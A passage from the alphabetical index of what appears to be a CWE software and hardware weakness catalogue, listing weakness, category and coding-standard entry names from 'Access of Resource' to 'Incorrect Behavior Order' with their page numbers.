 Access of Resource Using Incompatible Type ('Type Confusion'), 1654  
 Access of Uninitialized Pointer, 1609  
 Access to Critical Private Variable via Public Method, 1498  
 Active Debug Code, 1106  
 Addition of Data Structure Sentinel, 1047  
 Allocation of File Descriptors or Handles Without Limits or Throttling, 1518  
 Allocation of Resources Without Limits or Throttling, 1502  
 Always-Incorrect Control Flow Implementation, 1384  
 API / Function Errors, 2275  
 Application-Level Admin Tool with Inconsistent View of Underlying Operating System, 1891  
 Architectural Concepts, 2337(*Graph: 2432*)  
 Architecture with Number of Horizontal Layers Outside of Expected Range, 1744  
 Array Declared Public, Final, and Static, 1237  
 ASP.NET Misconfiguration: Creating Debug Binary, 9  
 ASP.NET Misconfiguration: Improper Model Validation, 1825  
 ASP.NET Misconfiguration: Missing Custom Error Page, 11  
 ASP.NET Misconfiguration: Not Using Input Validation Framework, 1196  
 ASP.NET Misconfiguration: Password in Configuration File, 12  
 ASP.NET Misconfiguration: Use of Identity Impersonation, 1198  
 Assigning instead of Comparing, 1090  
 Assignment of a Fixed Address to a Pointer, 1244  
 Assignment to Variable without Use, 1206  
 Assumed-Immutable Data is Stored in Writable Memory, 1962  
 Asymmetric Resource Consumption (Amplification), 933  
 Attempt to Access Child of a Non-structure Pointer, 1246  
 Audit, 2217  
 Audit / Logging Errors, 2268  
 Authenticate Actors, 2217  
 Authentication Bypass by Alternate Name, 666  
 Authentication Bypass by Assumed-Immutable Data, 697  
 Authentication Bypass by Capture-replay, 675  
 Authentication Bypass by Primary Weakness, 702  
 Authentication Bypass by Spoofing, 668  
 Authentication Bypass Using an Alternate Path or Channel, 664  
 Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created, 1252  
 Authentication Errors, 2268  
 Authorization Bypass Through User-Controlled Key, 1324  
 Authorization Bypass Through User-Controlled SQL Primary Key, 1211  
 Authorization Errors, 2269  
 Authorize Actors, 2218  
 Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations, 1738

## B

Bad Coding Practices, 2215

Behavioral Change in New Version or Environment, 1003  
 Behavioral Problems, 2120  
 Binding to an Unrestricted IP Address, 2039  
 Buffer Access Using Size of Source Buffer, 1592  
 Buffer Access with Incorrect Length Value, 1585  
 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), 294  
 Buffer Over-read, 320  
 Buffer Under-read, 323  
 Buffer Underwrite ('Buffer Underflow'), 313  
 Business Logic Errors, 2153

## C

Call to Non-ubiquitous API, 1247  
 Call to Thread run() instead of start(), 1221  
 Callable with Insufficient Behavioral Summary, 1814  
 CERT C Secure Coding Standard (2008) Appendix - POSIX (POS), 2144  
 CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO), 2140  
 CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV), 2142  
 CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG), 2142  
 CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR), 2143  
 CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC), 2144  
 CERT C Secure Coding Standard (2008) Chapter 2 - Preprocessor (PRE), 2134  
 CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL), 2134  
 CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP), 2135  
 CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT), 2135  
 CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP), 2136  
 CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR), 2137  
 CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR), 2138  
 CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM), 2139  
 CERT C++ Secure Coding Section 01 - Preprocessor (PRE), 2166  
 CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL), 2167  
 CERT C++ Secure Coding Section 03 - Expressions (EXP), 2167  
 CERT C++ Secure Coding Section 04 - Integers (INT), 2168  
 CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP), 2168  
 CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR), 2169  
 CERT C++ Secure Coding Section 07 - Characters and Strings (STR), 2169  
 CERT C++ Secure Coding Section 08 - Memory Management (MEM), 2170  
 CERT C++ Secure Coding Section 09 - Input Output (FIO), 2171  
 CERT C++ Secure Coding Section 10 - Environment (ENV), 2172  
 CERT C++ Secure Coding Section 11 - Signals (SIG), 2172  
 CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR), 2173

CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP), 2173  
 CERT C++ Secure Coding Section 14 - Concurrency (CON), 2174  
 CERT C++ Secure Coding Section 49 - Miscellaneous (MSC), 2174  
 Channel Accessible by Non-Endpoint, 692  
 CISQ Data Protection Measures, 2350(*Graph: 2457*)  
 CISQ Quality Measures (2016), 2341(*Graph: 2439*)  
 CISQ Quality Measures (2016) - Maintainability, 2234  
 CISQ Quality Measures (2016) - Performance Efficiency, 2236  
 CISQ Quality Measures (2016) - Reliability, 2233  
 CISQ Quality Measures (2016) - Security, 2235  
 CISQ Quality Measures (2020), 2348(*Graph: 2452*)  
 CISQ Quality Measures - Efficiency, 2279  
 CISQ Quality Measures - Maintainability, 2277  
 CISQ Quality Measures - Reliability, 2276  
 CISQ Quality Measures - Security, 2278  
 Class Instance Self Destruction Control Element, 1782  
 Class with Excessive Number of Child Classes, 1786  
 Class with Excessively Deep Inheritance, 1776  
 Class with Virtual Method without a Virtual Destructor, 1787  
 Cleartext Storage in a File or on Disk, 731  
 Cleartext Storage in the Registry, 733  
 Cleartext Storage of Sensitive Information, 725  
 Cleartext Storage of Sensitive Information in a Cookie, 734  
 Cleartext Storage of Sensitive Information in an Environment Variable, 1165  
 Cleartext Storage of Sensitive Information in Executable, 739  
 Cleartext Storage of Sensitive Information in GUI, 737  
 Cleartext Storage of Sensitive Information in Memory, 736  
 Cleartext Transmission of Sensitive Information, 740  
 Client-Side Enforcement of Server-Side Security, 1271  
 clone() Method Without super.clone(), 1234  
 Cloneable Class Containing Sensitive Information, 1130  
 Collapse of Data into Unsafe Value, 437  
 Command Shell in Externally Accessible Directory, 1195  
 Communication Channel Errors, 2119  
 Comparing instead of Assigning, 1093  
 Comparison Logic is Vulnerable to Power Side-Channel Attacks, 1902  
 Comparison of Classes by Name, 1100  
 Comparison of Incompatible Types, 1733  
 Comparison of Object References Instead of Object Contents, 1256  
 Comparison Using Wrong Factors, 1734  
 Compilation with Insufficient Warnings or Errors, 1823  
 Compiler Optimization Removal or Modification of Security-critical Code, 1454  
 Compiler Removal of Code to Clear Buffers, 14  
 Complexity Issues, 2273  
 Composites, 2315  
 Comprehensive CWE Dictionary, 2358  
 Concurrency Issues, 2122  
 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), 841  
 Configuration, 2100  
 Context Switching Race Condition, 863  
 Core and Compute Issues, 2265  
 Covert Channel, 1151  
 Covert Storage Channel, 1152  
 Covert Timing Channel, 890  
 CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations, 1897  
 Creation of chroot Jail Without Changing Working Directory, 559  
 Creation of Class Instance within a Static Code Block, 1764  
 Creation of Emergent Resource, 1854  
 Creation of Immutable Text Using String Concatenation, 1746  
 Creation of Temporary File in Directory with Insecure Permissions, 881  
 Creation of Temporary File With Insecure Permissions, 879  
 Credentials Management Errors, 2107  
 Critical Data Element Declared Public, 1495  
 Critical Public Variable Without Final Modifier, 1117  
 Cross Cutting, 2220  
 Cross-Cutting Problems, 2268  
 Cross-Site Request Forgery (CSRF), 821  
 Cryptographic Issues, 2111  
 Cryptographic Operations are run Before Supporting Units are Ready, 1956  
 CWE Cross-section, 2327

## D

Dangerous Signal Handler not Disabled During Sensitive Operations, 988  
 Dangling Database Cursor ('Cursor Injection'), 1300  
 Data Access from Outside Expected Data Manager Component, 1783  
 Data Access Operations Outside of Expected Data Manager Component, 1757  
 Data Element Aggregating an Excessively Large Number of Non-Primitive Elements, 1743  
 Data Element containing Pointer Item without Proper Copy Control Element, 1798  
 Data Integrity Issues, 2270  
 Data Neutralization Issues, 2102  
 Data Processing Errors, 2101  
 Data Resource Access without Use of Connection Pooling, 1773  
 Data Validation Issues, 2271  
 Dead Code, 1201  
 Deadlock, 1632  
 Debug and Test Problems, 2267  
 Debug Messages Revealing Unnecessary Information, 1985  
 Declaration of Catch for Generic Exception, 908  
 Declaration of Throws for Generic Exception, 910  
 Declaration of Variable with Unnecessarily Wide Scope, 1822  
 Deletion of Data Structure Sentinel, 1045  
 Dependency on Vulnerable Third-Party Component, 2096  
 Deployment of Wrong Handler, 985  
 Deprecated Entries, 2310  
 DEPRECATED: Apple '.DS\_Store', 2470  
 DEPRECATED: ASP.NET Environment Issues, 2468  
 DEPRECATED: Authentication Bypass Issues, 2477  
 DEPRECATED: Byte/Object Code, 2475  
 DEPRECATED: Chain Elements, 2478  
 DEPRECATED: Channel Errors, 2473  
 DEPRECATED: Cleansing, Canonicalization, and Comparison Errors, 2471  
 DEPRECATED: Code, 2468  
 DEPRECATED: Containment Errors (Container Errors), 2471  
 DEPRECATED: Covert Timing Channel, 2476  
 DEPRECATED: Data Structure Issues, 2474  
 DEPRECATED: Failure to Protect Stored Data from Modification, 2471  
 DEPRECATED: Failure to provide confidentiality for stored data, 2472  
 DEPRECATED: General Information Management Problems, 2472  
 DEPRECATED: General Special Element Problems, 2471  
 DEPRECATED: HTTP response splitting, 2474



- DEPRECATED: Improper Sanitization of Custom Special Characters, 2470
- DEPRECATED: Inadvertently Introduced Weakness, 2476
- DEPRECATED: Incorrect Initialization, 2474
- DEPRECATED: Incorrect Semantic Object Comparison, 2477
- DEPRECATED: Information Exposure Through Cleanup Log Files, 2477
- DEPRECATED: Information Exposure Through Debug Log Files, 2476
- DEPRECATED: Information Exposure Through Server Log Files, 2476
- DEPRECATED: Intentionally Introduced Nonmalicious Weakness, 2475
- DEPRECATED: Intentionally Introduced Weakness, 2475
- DEPRECATED: J2EE Environment Issues, 2468
- DEPRECATED: J2EE Time and State Issues, 2473
- DEPRECATED: Location, 2468
- DEPRECATED: Mac Virtual File Problems, 2469
- DEPRECATED: Miscalculated Null Termination, 2470
- DEPRECATED: Mobile Code Issues, 2475
- DEPRECATED: Motivation/Intent, 2475
- DEPRECATED: .NET Environment Issues, 2476
- DEPRECATED: Often Misused: Arguments and Parameters, 2477
- DEPRECATED: Often Misused: Path Manipulation, 2472
- DEPRECATED: Other Intentional, Nonmalicious Weakness, 2476
- DEPRECATED: Pathname Traversal and Equivalence Errors, 2469
- DEPRECATED: Proxied Trusted Channel, 2474
- DEPRECATED: Race Condition in Switch, 2472
- DEPRECATED: Reliance on DNS Lookups in a Security Decision, 2472
- DEPRECATED: Resource-specific Weaknesses, 2478 (*Graph: 2360*)
- DEPRECATED: Sensitive Information Accessible by Physical Probing of JTAG Interface, 2479
- DEPRECATED: Source Code, 2469
- DEPRECATED: State Synchronization Error, 2473
- DEPRECATED: Struts Validation Problems, 2470
- DEPRECATED: Technology-specific Environment Issues, 2468
- DEPRECATED: Technology-Specific Input Validation Problems, 2470
- DEPRECATED: Technology-Specific Special Elements, 2471
- DEPRECATED: Technology-Specific Time and State Issues, 2473
- DEPRECATED: Temporary File Issues, 2473
- DEPRECATED: Trusting Self-reported DNS Name, 2472
- DEPRECATED: Uncontrolled File Descriptor Consumption, 2479
- DEPRECATED: UNIX Path Link Problems, 2469
- DEPRECATED: Use of Dynamic Class Loading, 2477
- DEPRECATED: Use of Uninitialized Resource, 2479
- DEPRECATED: User Interface Errors, 2474
- DEPRECATED: Weaknesses Examined by SAMATE, 2478
- DEPRECATED: Weaknesses that Affect Files or Directories, 2478
- DEPRECATED: Weaknesses that Affect Memory, 2478
- DEPRECATED: Weaknesses that Affect System Processes, 2478
- DEPRECATED: Weaknesses without Software Fault Patterns, 2479
- DEPRECATED: Web Problems, 2474
- DEPRECATED: Windows Path Link Problems, 2469
- DEPRECATED: Windows Virtual File Problems, 2469
- Deserialization of Untrusted Data, 1137
- Detection of Error Condition Without Action, 893
- Device Unlock Credential Sharing, 1944
- Direct Request ('Forced Browsing'), 969
- Direct Use of Unsafe JNI, 258
- Divide By Zero, 865
- DMA Device Enabled Too Early in Boot Phase, 1831
- Documentation Issues, 2273
- Double Decoding of the Same Data, 419
- Double Free, 954
- Double-Checked Locking, 1283
- Doubled Character XSS Manipulations, 183
- Download of Code Without Integrity Check, 1119
- Duplicate Key in Associative List (Alist), 1043
- Dynamic Variable Evaluation, 1314
- ## E
- EJB Bad Practices: Use of AWT Swing, 1225
- EJB Bad Practices: Use of Class Loader, 1231
- EJB Bad Practices: Use of Java I/O, 1228
- EJB Bad Practices: Use of Sockets, 1229
- EJB Bad Practices: Use of Synchronization Primitives, 1224
- Embedded Malicious Code, 1142
- Empty Code Block, 1773
- Empty Exception Block, 1770
- Empty Password in Configuration File, 589
- Empty Synchronized Block, 1241
- Encapsulation Issues, 2274
- Encoding Error, 415
- Encrypt Data, 2221
- Entries with Maintenance Notes, 2340
- Error Conditions, Return Values, Status Codes, 2115
- Excessive Attack Surface, 1821
- Excessive Code Complexity, 1817
- Excessive Data Query Operations in a Large Data Table, 1749
- Excessive Execution of Sequential Searches of Data Resource, 1768
- Excessive Halstead Complexity, 1819
- Excessive Index Range Scan for a Data Resource, 1794
- Excessive Iteration, 1634
- Excessive McCabe Cyclomatic Complexity, 1818
- Excessive Number of Inefficient Server-Side Data Accesses, 1761
- Excessive Platform Resource Consumption within a Loop, 1750
- Excessive Reliance on Global Variables, 1807
- Excessive Use of Hard-Coded Literals in Initialization, 1752
- Excessive Use of Self-Modifying Code, 1820
- Excessive Use of Unconditional Branching, 1816
- Excessively Complex Data Representation, 1793
- Excessively Deep Nesting, 1820
- Executable Regular Expression Error, 1308
- Execution After Redirect (EAR), 1431
- Execution with Unnecessary Privileges, 568
- Expected Behavior Violation, 1004
- Expired Pointer Dereference, 1612
- Explicit Call to Finalize(), 1243
- Exposed Dangerous Method or Function, 1456
- Exposed IOCTL with Insufficient Access Control, 1534
- Exposed Unsafe ActiveX Method, 1299
- Exposure of Access Control List Files to an Unauthorized Control Sphere, 1168
- Exposure of Backup File to an Unauthorized Control Sphere, 1169
- Exposure of Core Dump File to an Unauthorized Control Sphere, 1168
- Exposure of Data Element to Wrong Session, 1104

Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak'), 925  
 Exposure of Information Through Directory Listing, 1189  
 Exposure of Information Through Shell Error Message, 1174  
 Exposure of Private Personal Information to an Unauthorized Actor, 836  
 Exposure of Resource to Wrong Sphere, 1380  
 Exposure of Sensitive Information Due to Incompatible Policies, 523  
 Exposure of Sensitive Information Through Data Queries, 495  
 Exposure of Sensitive Information Through Metadata, 1855  
 Exposure of Sensitive Information to an Unauthorized Actor, 484  
 Exposure of Sensitive System Information Due to Uncleared Debug Information, 1912  
 Exposure of Sensitive System Information to an Unauthorized Control Sphere, 1127  
 Exposure of Version-Control Repository to an Unauthorized Control Sphere, 1167  
 Exposure of WSDL File Containing Sensitive Information, 1350  
 Expression is Always False, 1216  
 Expression is Always True, 1219  
 Expression Issues, 2123  
 External Control of Assumed-Immutable Web Parameter, 1062  
 External Control of Critical State Data, 1330  
 External Control of File Name or Path, 128  
 External Control of System or Configuration Setting, 17  
 External Influence of Sphere Definition, 1390  
 External Initialization of Trusted Variables or Data Stores, 1025  
 Externally Controlled Reference to a Resource in Another Sphere, 1285  
 Externally-Generated Error Message Containing Sensitive Information, 518

**F**

Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges, 2019  
 Failure to Disable Reserved Bits, 1841  
 Failure to Handle Incomplete Element, 554  
 Failure to Handle Missing Parameter, 547  
 Failure to Sanitize Paired Delimiters, 391  
 Failure to Sanitize Special Elements into a Different Plane (Special Element Injection), 138  
 File Handling Issues, 2273  
 Files or Directories Accessible to External Parties, 1193  
 finalize() Method Declared Public, 1238  
 finalize() Method Without super.finalize(), 1215  
 Firmware Not Updateable, 1952  
 Floating Point Comparison with Incorrect Operator, 1778  
 Free of Memory not on the Heap, 1248  
 Free of Pointer not at Start of Buffer, 1481  
 Function Call With Incorrect Argument Type, 1412  
 Function Call With Incorrect Number of Arguments, 1411  
 Function Call With Incorrect Order of Arguments, 1408  
 Function Call With Incorrect Variable or Reference as Argument, 1415  
 Function Call With Incorrectly Specified Argument Value, 1413  
 Function Call with Incorrectly Specified Arguments, 1316

**G**

General Circuit and Logic Design Concerns, 2264  
 Generation of Error Message Containing Sensitive Information, 510  
 Generation of Incorrect Security Tokens, 1938

Generation of Predictable IV with CBC Mode, 769  
 Generation of Predictable Numbers or Identifiers, 798  
 Generation of Weak Initialization Vector (IV), 1838  
 Guessable CAPTCHA, 1584

**H**

Handler Errors, 2119  
 Hardware Allows Activation of Test or Debug Logic at Runtime, 2013  
 Hardware Child Block Incorrectly Connected to Parent System, 1950  
 Hardware Design, 2346(*Graph: 2448*)  
 Hardware Internal or Debug Modes Allow Override of Locks, 1861  
 Hardware Logic Contains Race Conditions, 1991  
 Hardware Logic with Insecure De-Synchronization between Control and Data Channels, 1924  
 Heap-based Buffer Overflow, 307  
 Hidden Functionality, 1680

**I**

ICS Communications, 2290  
 ICS Communications: Frail Security in Protocols, 2295  
 ICS Communications: Unreliability, 2294  
 ICS Communications: Zone Boundary Failures, 2294  
 ICS Dependencies (& Architecture), 2291  
 ICS Dependencies (& Architecture): External Digital Systems, 2297  
 ICS Dependencies (& Architecture): External Physical Systems, 2296  
 ICS Engineering (Construction/Deployment): Gaps in Details/Data, 2302  
 ICS Engineering (Construction/Deployment): Inherent Predictability in Design, 2304  
 ICS Engineering (Construction/Deployment): Maker Breaker Blindness, 2301  
 ICS Engineering (Construction/Deployment): Security Gaps in Commissioning, 2303  
 ICS Engineering (Construction/Deployment): Trust Model Problems, 2301  
 ICS Engineering (Constructions/Deployment), 2292  
 ICS Operations (& Maintenance), 2293  
 ICS Operations (& Maintenance): Compliance/Conformance with Regulatory Requirements, 2308  
 ICS Operations (& Maintenance): Emerging Energy Technologies, 2308  
 ICS Operations (& Maintenance): Exploitable Standard Operational Procedures, 2307  
 ICS Operations (& Maintenance): Gaps in obligations and training, 2304  
 ICS Operations (& Maintenance): Human factors in ICS environments, 2305  
 ICS Operations (& Maintenance): Post-analysis changes, 2306  
 ICS Supply Chain, 2291  
 ICS Supply Chain: Common Mode Frailties, 2298  
 ICS Supply Chain: IT/OT Convergence/Expansion, 2298  
 ICS Supply Chain: OT Counterfeit and Malicious Corruption, 2300  
 ICS Supply Chain: Poorly Documented or Undocumented Features, 2299  
 Identify Actors, 2222  
 Improper Access Control, 644  
 Improper Access Control Applied to Mirrored or Aliased Memory Regions, 1909  
 Improper Access Control for Register Interface, 1920  
 Improper Access Control for Volatile Memory Containing Boot Code, 1946  
 Improper Access Control in Fabric Bridge, 2021

- Improper Address Validation in IOCTL with METHOD\_NEITHER I/O Control Code, 1532
- Improper Adherence to Coding Standards, 1444
- Improper Authentication, 657
- Improper Authorization, 649
- Improper Authorization in Handler for Custom URL Scheme, 1709
- Improper Authorization of Index Containing Sensitive Information, 1290
- Improper Certificate Validation, 677
- Improper Check for Certificate Revocation, 690
- Improper Check for Dropped Privileges, 626
- Improper Check for Unusual or Exceptional Conditions, 1460
- Improper Check or Handling of Exceptional Conditions, 1433
- Improper Cleanup on Thrown Exception, 1041
- Improper Clearing of Heap Memory Before Release ('Heap Inspection'), 561
- Improper Control of a Resource Through its Lifetime, 1367
- Improper Control of Document Type Definition, 1616
- Improper Control of Dynamically-Identified Variables, 1682
- Improper Control of Dynamically-Managed Code Resources, 1681
- Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'), 229
- Improper Control of Generation of Code ('Code Injection'), 213
- Improper Control of Interaction Frequency, 1582
- Improper Control of Resource Identifiers ('Resource Injection'), 235
- Improper Encoding or Escaping of Output, 272
- Improper Enforcement of a Single, Unique Action, 1640
- Improper Enforcement of Behavioral Workflow, 1649
- Improper Enforcement of Message Integrity During Transmission in a Communication Channel, 1701
- Improper Export of Android Application Components, 1704
- Improper Filtering of Special Elements, 1563
- Improper Finite State Machines (FSMs) in Hardware Logic, 1882
- Improper Following of a Certificate's Chain of Trust, 682
- Improper Following of Specification by Caller, 1222
- Improper Handling of Additional Special Element, 408
- Improper Handling of Alternate Encoding, 417
- Improper Handling of Apple HFS+ Alternate Data Stream Path, 126
- Improper Handling of Case Sensitivity, 427
- Improper Handling of Exceptional Conditions, 1468
- Improper Handling of Extra Parameters, 550
- Improper Handling of Extra Values, 544
- Improper Handling of Faults that Lead to Instruction Skips, 2050
- Improper Handling of File Names that Identify Virtual Resources, 121
- Improper Handling of Hardware Behavior in Exceptionally Cold Environments, 2074
- Improper Handling of Highly Compressed Data (Data Amplification), 943
- Improper Handling of Incomplete Structural Elements, 553
- Improper Handling of Inconsistent Special Elements, 409
- Improper Handling of Inconsistent Structural Elements, 555
- Improper Handling of Insufficient Entropy in TRNG, 783
- Improper Handling of Insufficient Permissions or Privileges, 638
- Improper Handling of Insufficient Privileges, 629
- Improper Handling of Invalid Use of Special Elements, 395
- Improper Handling of Length Parameter Inconsistency, 336
- Improper Handling of Missing Special Element, 406
- Improper Handling of Missing Values, 543
- Improper Handling of Mixed Encoding, 421
- Improper Handling of Overlap Between Protected Memory Ranges, 1915
- Improper Handling of Parameters, 546
- Improper Handling of Physical or Environmental Conditions, 2078
- Improper Handling of Single Event Upsets, 1918
- Improper Handling of Structural Elements, 552
- Improper Handling of Syntactically Invalid Structure, 540
- Improper Handling of Undefined Parameters, 551
- Improper Handling of Undefined Values, 545
- Improper Handling of Unexpected Data Type, 555
- Improper Handling of Unicode Encoding, 422
- Improper Handling of URL Encoding (Hex Encoding), 424
- Improper Handling of Values, 542
- Improper Handling of Windows ::DATA Alternate Data Stream, 125
- Improper Handling of Windows Device Names, 122
- Improper Initialization, 1368
- Improper Input Validation, 19
- Improper Interaction Between Multiple Correctly-Behaving Entities, 998
- Improper Isolation of Shared Resources in Network On Chip (NoC), 2048
- Improper Isolation of Shared Resources on System-on-a-Chip (SoC), 1829
- Improper Isolation or Compartmentalization, 1353
- Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), 33
- Improper Link Resolution Before File Access ('Link Following'), 108
- Improper Lock Behavior After Power State Transition, 1857
- Improper Locking, 1375
- Improper Management of Sensitive Trace Data, 2034
- Improper Neutralization, 1440
- Improper Neutralization of Alternate XSS Syntax, 186
- Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'), 188
- Improper Neutralization of Comment Delimiters, 380
- Improper Neutralization of CRLF Sequences ('CRLF Injection'), 211
- Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting'), 263
- Improper Neutralization of Data within XPath Expressions ('XPath Injection'), 1336
- Improper Neutralization of Data within XQuery Expressions ('XQuery Injection'), 1351
- Improper Neutralization of Delimiters, 360
- Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'), 220
- Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection'), 225
- Improper Neutralization of Encoded URI Schemes in a Web Page, 181
- Improper Neutralization of Equivalent Special Elements, 139
- Improper Neutralization of Escape, Meta, or Control Sequences, 377
- Improper Neutralization of Expression/Command Delimiters, 371
- Improper Neutralization of Formula Elements in a CSV File, 1865
- Improper Neutralization of HTTP Headers for Scripting Syntax, 1338
- Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), 159
- Improper Neutralization of Input Leaders, 375
- Improper Neutralization of Input Terminators, 373

Improper Neutralization of Internal Special Elements, 403  
 Improper Neutralization of Invalid Characters in Identifiers in Web Pages, 185  
 Improper Neutralization of Leading Special Elements, 397  
 Improper Neutralization of Line Delimiters, 367  
 Improper Neutralization of Macro Symbols, 382  
 Improper Neutralization of Multiple Internal Special Elements, 404  
 Improper Neutralization of Multiple Leading Special Elements, 398  
 Improper Neutralization of Multiple Trailing Special Elements, 401  
 Improper Neutralization of Null Byte or NUL Character, 392  
 Improper Neutralization of Parameter/Argument Delimiters, 362  
 Improper Neutralization of Quoting Syntax, 376  
 Improper Neutralization of Record Delimiters, 365  
 Improper Neutralization of Script in an Error Message Web Page, 175  
 Improper Neutralization of Script in Attributes in a Web Page, 179  
 Improper Neutralization of Script in Attributes of IMG Tags in a Web Page, 177  
 Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS), 172  
 Improper Neutralization of Section Delimiters, 369  
 Improper Neutralization of Server-Side Includes (SSI) Within a Web Page, 228  
 Improper Neutralization of Special Elements, 357  
 Improper Neutralization of Special Elements in Data Query Logic, 1720  
 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), 133  
 Improper Neutralization of Special Elements used in a Command ('Command Injection'), 141  
 Improper Neutralization of Special Elements Used in a Template Engine, 2060  
 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection'), 1692  
 Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection'), 207  
 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), 147  
 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), 195  
 Improper Neutralization of Substitution Characters, 384  
 Improper Neutralization of Trailing Special Elements, 400  
 Improper Neutralization of Value Delimiters, 364  
 Improper Neutralization of Variable Name Delimiters, 385  
 Improper Neutralization of Whitespace, 389  
 Improper Neutralization of Wildcards or Matching Symbols, 387  
 Improper Null Termination, 411  
 Improper Output Neutralization for Logs, 279  
 Improper Ownership Management, 641  
 Improper Physical Access Control, 1923  
 Improper Preservation of Consistency Between Independent Representations of Shared State, 1893  
 Improper Preservation of Permissions, 640  
 Improper Prevention of Lock Bit Modification, 1855  
 Improper Privilege Management, 613  
 Improper Protection against Electromagnetic Fault Injection (EM-FI), 2026  
 Improper Protection Against Voltage and Clock Glitches, 1886  
 Improper Protection for Outbound Error Messages and Alert Signals, 2028  
 Improper Protection of Alternate Path, 968  
 Improper Protection of Physical Side Channels, 1996  
 Improper Protections Against Hardware Overheating, 2062  
 Improper Removal of Sensitive Information Before Storage or Transfer, 520  
 Improper Resolution of Path Equivalence, 83  
 Improper Resource Locking, 950  
 Improper Resource Shutdown or Release, 927  
 Improper Restriction of Communication Channel to Intended Endpoints, 1700  
 Improper Restriction of Excessive Authentication Attempts, 709  
 Improper Restriction of Names for Files and Other Resources, 1329  
 Improper Restriction of Operations within the Bounds of a Memory Buffer, 283  
 Improper Restriction of Power Consumption, 1696  
 Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion'), 1521  
 Improper Restriction of Rendered UI Layers or Frames, 1727  
 Improper Restriction of Security Token Assignment, 1913  
 Improper Restriction of Software Interfaces to Hardware Features, 1906  
 Improper Restriction of Write-Once Bit Fields, 1851  
 Improper Restriction of XML External Entity Reference, 1286  
 Improper Scrubbing of Sensitive Data from Decommissioned Device, 1930  
 Improper Setting of Bus Controlling Capability in Fabric End-point, 2017  
 Improper Synchronization, 1363  
 Improper Translation of Security Attributes by Fabric Bridge, 2009  
 Improper Update of Reference Count, 1678  
 Improper Use of Validation Framework, 1824  
 Improper Validation of Array Index, 327  
 Improper Validation of Certificate Expiration, 688  
 Improper Validation of Certificate with Host Mismatch, 684  
 Improper Validation of Consistency within Input, 1973  
 Improper Validation of Function Hook Arguments, 1305  
 Improper Validation of Integrity Check Value, 830  
 Improper Validation of Specified Index, Position, or Offset in Input, 1967  
 Improper Validation of Specified Quantity in Input, 1965  
 Improper Validation of Specified Type of Input, 1972  
 Improper Validation of Syntactic Correctness of Input, 1970  
 Improper Validation of Unsafe Equivalence in Input, 1974  
 Improper Verification of Cryptographic Signature, 811  
 Improper Verification of Intent by Broadcast Receiver, 1702  
 Improper Verification of Source of a Communication Channel, 1712  
 Improper Write Handling in Limited-write Non-Volatile Memories, 1884  
 Improper Zeroization of Hardware Register, 1868  
 Improperly Controlled Modification of Dynamically-Determined Object Attributes, 1684  
 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), 2030  
 Improperly Controlled Sequential Memory Allocation, 2035  
 Improperly Implemented Security Check for Standard, 834  
 Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation, 2005  
 Inaccurate Comments, 1813  
 Inadequate Encryption Strength, 756  
 Inappropriate Comment Style, 1811  
 Inappropriate Encoding for Output Context, 1641  
 Inappropriate Source Code Style or Formatting, 1779  
 Inappropriate Whitespace Style, 1811



- Inclusion of Functionality from Untrusted Control Sphere, 1621
- Inclusion of Sensitive Information in an Include File, 1181
- Inclusion of Sensitive Information in Source Code, 1180
- Inclusion of Sensitive Information in Source Code Comments, 1294
- Inclusion of Sensitive Information in Test Code, 1170
- Inclusion of Undocumented Features or Chicken Bits, 1876
- Inclusion of Web Functionality from an Untrusted Source, 1627
- Incomplete Cleanup, 1038
- Incomplete Comparison with Missing Factors, 1731
- Incomplete Denylist to Cross-Site Scripting, 1421
- Incomplete Design Documentation, 1808
- Incomplete Documentation of Program Execution, 1810
- Incomplete Filtering of Multiple Instances of Special Elements, 1568
- Incomplete Filtering of One or More Instances of Special Elements, 1565
- Incomplete Filtering of Special Elements, 1564
- Incomplete I/O Documentation, 1809
- Incomplete Identification of Uploaded File Variables (PHP), 1295
- Incomplete Internal State Distinction, 870
- Incomplete List of Disallowed Inputs, 441
- Incomplete Model of Endpoint Features, 1002
- Inconsistency Between Implementation and Documented Design, 1769
- Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling'), 1009
- Inconsistent Naming Conventions for Identifiers, 1799
- Incorrect Access of Indexable Resource ('Range Error'), 282
- Incorrect Authorization, 1664
- Incorrect Behavior Order, 1426
